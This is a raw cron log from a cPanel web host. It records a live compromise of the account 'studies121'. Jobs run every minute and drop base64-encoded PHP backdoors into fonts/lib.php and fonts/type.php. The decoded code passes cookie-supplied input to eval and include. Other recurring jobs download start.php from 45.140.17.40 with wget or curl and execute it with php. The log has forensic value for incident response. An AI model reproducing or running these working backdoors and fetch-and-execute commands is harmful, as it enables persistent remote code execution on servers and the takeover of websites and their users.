Sep  3 02:21:01 ip-184-168-122-23 CROND[15798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:21:01 ip-184-168-122-23 CROND[15799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:21:01 ip-184-168-122-23 CROND[15800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:22:01 ip-184-168-122-23 CROND[15962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:22:01 ip-184-168-122-23 CROND[15963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:22:01 ip-184-168-122-23 CROND[15965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:22:01 ip-184-168-122-23 CROND[15967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:22:01 ip-184-168-122-23 CROND[15966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:23:01 ip-184-168-122-23 CROND[16046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:23:01 ip-184-168-122-23 CROND[16048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:23:01 ip-184-168-122-23 CROND[16049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:23:01 ip-184-168-122-23 CROND[16050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:24:01 ip-184-168-122-23 CROND[16158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:24:01 ip-184-168-122-23 CROND[16160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:24:01 ip-184-168-122-23 CROND[16161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:24:01 ip-184-168-122-23 CROND[16164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:24:01 ip-184-168-122-23 CROND[16167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:24:01 ip-184-168-122-23 CROND[16165]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  3 02:25:01 ip-184-168-122-23 CROND[16279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:25:01 ip-184-168-122-23 CROND[16278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:25:01 ip-184-168-122-23 CROND[16280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:25:01 ip-184-168-122-23 CROND[16283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:25:01 ip-184-168-122-23 CROND[16288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:25:01 ip-184-168-122-23 CROND[16290]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 02:25:01 ip-184-168-122-23 CROND[16291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:26:01 ip-184-168-122-23 CROND[16424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:26:01 ip-184-168-122-23 CROND[16426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:26:01 ip-184-168-122-23 CROND[16427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:26:01 ip-184-168-122-23 CROND[16428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:26:01 ip-184-168-122-23 CROND[16431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:26:01 ip-184-168-122-23 CROND[16434]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  3 02:27:01 ip-184-168-122-23 CROND[16831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:27:01 ip-184-168-122-23 CROND[16833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:27:01 ip-184-168-122-23 CROND[16834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:27:01 ip-184-168-122-23 CROND[16832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:28:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  3 02:28:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  3 02:28:01 ip-184-168-122-23 CROND[16952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:28:01 ip-184-168-122-23 CROND[16954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:28:01 ip-184-168-122-23 CROND[16958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:28:01 ip-184-168-122-23 CROND[16955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:28:01 ip-184-168-122-23 CROND[16957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:29:01 ip-184-168-122-23 CROND[17073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:29:01 ip-184-168-122-23 CROND[17075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:29:01 ip-184-168-122-23 CROND[17076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:29:01 ip-184-168-122-23 CROND[17077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:30:01 ip-184-168-122-23 CROND[17222]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:30:01 ip-184-168-122-23 CROND[17225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:30:01 ip-184-168-122-23 CROND[17226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:30:01 ip-184-168-122-23 CROND[17233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:30:01 ip-184-168-122-23 CROND[17234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:30:01 ip-184-168-122-23 CROND[17235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:30:01 ip-184-168-122-23 CROND[17236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:30:01 ip-184-168-122-23 CROND[17237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:31:01 ip-184-168-122-23 CROND[17507]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:31:01 ip-184-168-122-23 CROND[17506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:31:01 ip-184-168-122-23 CROND[17508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:31:01 ip-184-168-122-23 CROND[17510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:31:01 ip-184-168-122-23 CROND[17509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:32:01 ip-184-168-122-23 CROND[17629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:32:01 ip-184-168-122-23 CROND[17631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:32:01 ip-184-168-122-23 CROND[17634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:32:01 ip-184-168-122-23 CROND[17633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:32:01 ip-184-168-122-23 CROND[17636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
